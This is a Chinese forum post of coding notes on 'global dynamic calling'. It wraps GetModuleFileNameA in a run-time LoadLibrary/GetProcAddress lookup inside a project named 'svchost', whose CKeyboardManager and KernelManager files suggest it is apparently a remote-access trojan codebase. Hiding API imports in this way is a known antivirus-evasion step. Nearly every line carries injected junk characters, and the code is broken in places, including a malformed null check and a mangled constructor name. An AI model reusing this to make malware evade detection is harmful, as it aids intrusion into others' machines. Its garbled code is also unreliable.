返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记! G: M; N* M8 ^
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
, E1 J* i+ X, B# ?----------------------------------------
. U/ D) f2 C: }' H2 y& _DTDY.h:8 k0 _8 u" h: G5 o" R
  l# Q( H  l" b! d9 g8 u
#if _MSC_VER>10002 U' J' G+ T! D# E, Y, @2 W: U
#pragma once% p% r# a# Q& e6 m; z
#endif //_MSC_VER>10009 J  H) f( ?, u- u  f0 r
#include<windows.h>3 \; }4 W  \$ D9 y+ c) V4 j* U

& E. w1 u% {& q1 [0 vtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
% c  d2 o  M" l$ ?0 Nclass DTDY
. v0 i: n! {% @( K, N{$ k  V& r0 W! x- l4 `
public:1 H# v- F& ]0 _# `  J% l
DTDY();7 U6 @! d: B5 |$ f$ B( y
virtual ~DTDY();
8 s9 r2 b; `/ |2 Wpublic:$ X; c, S3 c" u% s
static pGetModuleFileNameA MyGetModuleFileName;) G# l4 w4 [8 T
static BOOL FunInitiallization();& K1 \1 M6 b! u
};
( \. ^9 X6 M) m# y6 b: @, d* `! H#endif7 R9 i* _9 G- [5 W$ R: v& N, ~0 ~
----------------------------------------; i! J% G# [8 _; @' P: g+ ~. v
1 a2 I* I& k' h3 O
DTDY.cpp:) z- R2 i6 ^6 o7 d# P4 ?5 H
) C* b* Y: C* i+ @5 R) |& @! y
#include "DTDY.h"' \3 e/ d& D3 @+ b+ J% ~
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;( V4 t& U# p5 I  [
DTDY:TDY()7 \! n+ |. K( J! ~3 ]6 P
{
+ @0 f) x' C6 L; i4 F/ S}
: K$ ^% `5 t4 r3 hDTDY::~DTDY()
0 M8 @# C/ f& v& J  i' u{
. C( e, `3 t$ O" j. @8 U8 C5 [: I}/ I+ V. r$ u1 v# v
BOOL DTDY::FunInitiallization()/ _1 R% O6 C0 H3 o
{4 U+ I. G5 _- a, Q
HMODULE hModule=LoadLibrary("kernel32.dll");! H- y- t; Y$ y0 _7 g! T2 N
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, X' L) K4 v& A4 T5 wif(!MyGetModuleFileName=) return FALSE;
" }, M1 l$ ?% V" h1 ]  {" U7 _8 B  J& K- v" J5 f4 J7 s
return TRUE;, m  l% i8 E) c- D4 r
}0 H1 Z1 X/ S) e! q
----------------------------------------5 q( K% S. M9 V8 J# n
svchost.cpp:
" j" n/ T2 y" f$ H8 I; n7 H2 e3 e- _6 r, M
#include "DTDY.h"
( L/ w0 x! Q" q3 W! N* r( a' J5 w8 C1 N6 b9 S) m: f
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
9 ^; }' J3 n# ^. G. _, T{6 j* b9 }5 j/ {4 `0 i
switch(ul_reason_for_call)% b3 `2 p/ C& ~6 B- b& l& o
{
. z( A+ P. ]7 e* u3 ccase DLL_PROCESS_ATTACH:6 ?- l7 N" F# l$ n4 [$ O  r5 m, J
if(!DTDY::FunInitiallization()) return FALSE;
& V6 o1 `+ ]% i" g- v% ^( M
& X' @8 v0 h% pbreak;( v/ R5 U* F& Z7 ~) H$ e, J
}; y. v; h7 P' R3 F7 ]& c
}
1 I8 X: J2 S1 G8 S9 r: W5 k1 ?' P& O" t

8 p  x& B; \3 U. LGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def  k, r: P* i! W! m
改写为# D$ @7 ~% ~7 f! O$ H2 ~( E: ~
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
* l7 C! y* \1 Y8 ]6 h----------------------------------------
8 d  V5 P8 Z2 |8 d. t3 rKernelManager.cpp:1 w& }0 e0 }( d9 |( u; z

, H  `% F! i( Q8 G& n#include "../DTDY.h"
  q% d" ]0 F1 m/ TGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* o8 j* Y! j- M9 b7 V, Y. J; W改写为# A$ [% E, G% [# O% _7 z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));& E8 B  E9 a8 U/ ?% @: e; h( r  D
----------------------------------------

返回列表